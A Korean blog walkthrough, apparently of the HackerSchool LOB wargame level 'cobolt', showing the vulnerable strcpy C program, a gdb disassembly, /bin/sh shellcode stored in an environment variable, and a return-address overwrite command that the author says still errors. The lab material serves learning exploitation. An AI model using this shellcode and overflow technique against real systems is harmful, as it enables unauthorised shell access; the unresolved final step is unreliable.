SMALL
[풀이]
id : gremlin
pw : hello bof world
주어진 id와 pw로 로그인하니 colbolt 실행파일과 c 코드가 존재했다.
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
colbolt.c 를 확인하니 level1과 버퍼의 크기를 제외하고 모두 동일하였다.
gdb로 main 함수를 확인하니 이전과 동일한 구조이나 버퍼의 크기가 16임을 알 수 있다.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,16
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x80484d0
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: push %edx
0x804845c <main+44>: lea %eax,[%ebp-16]
0x804845f <main+47>: push %eax
0x8048460 <main+48>: call 0x8048370 <strcpy>
0x8048465 <main+53>: add %esp,8
0x8048468 <main+56>: lea %eax,[%ebp-16]
0x804846b <main+59>: push %eax
0x804846c <main+60>: push 0x80484dc
0x8048471 <main+65>: call 0x8048350 <printf>
0x8048476 <main+70>: add %esp,8
0x8048479 <main+73>: leave
0x804847a <main+74>: ret
0x804847b <main+75>: nop
0x804847c <main+76>: nop
0x804847d <main+77>: nop
0x804847e <main+78>: nop
0x804847f <main+79>: nop
End of assembler dump.
buffer[16] |
sfp[4] |
ret[4] |
이전과 동일하게 환경변수를 설정한 뒤 환경 변수에 대한 주소를 구하는 코드를 작성한다.
export EGG=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char *ptr;
ptr = getenv(argv[1]);
printf("%p\n", ptr);
return 0;
}
컴파일 후 주소를 확인하면 0xbffffe9c임을 알 수 있다.
dummy[20]+shell address 를 통해 exploit 하면 되는데,,, 에러가 난다 왜지?
./cobolt `python -c 'print "a"*20 + "\x9c\xfe\xff\xbf"'`
[출처]
LIST
'Wargame > 해커스쿨 LOB' 카테고리의 다른 글
[HackerSchool LOB] Level 1 문제 풀이 (0) | 2021.07.17 |
---|---|
[HackerSchool LOB] Level 0 문제 풀이 (0) | 2021.07.17 |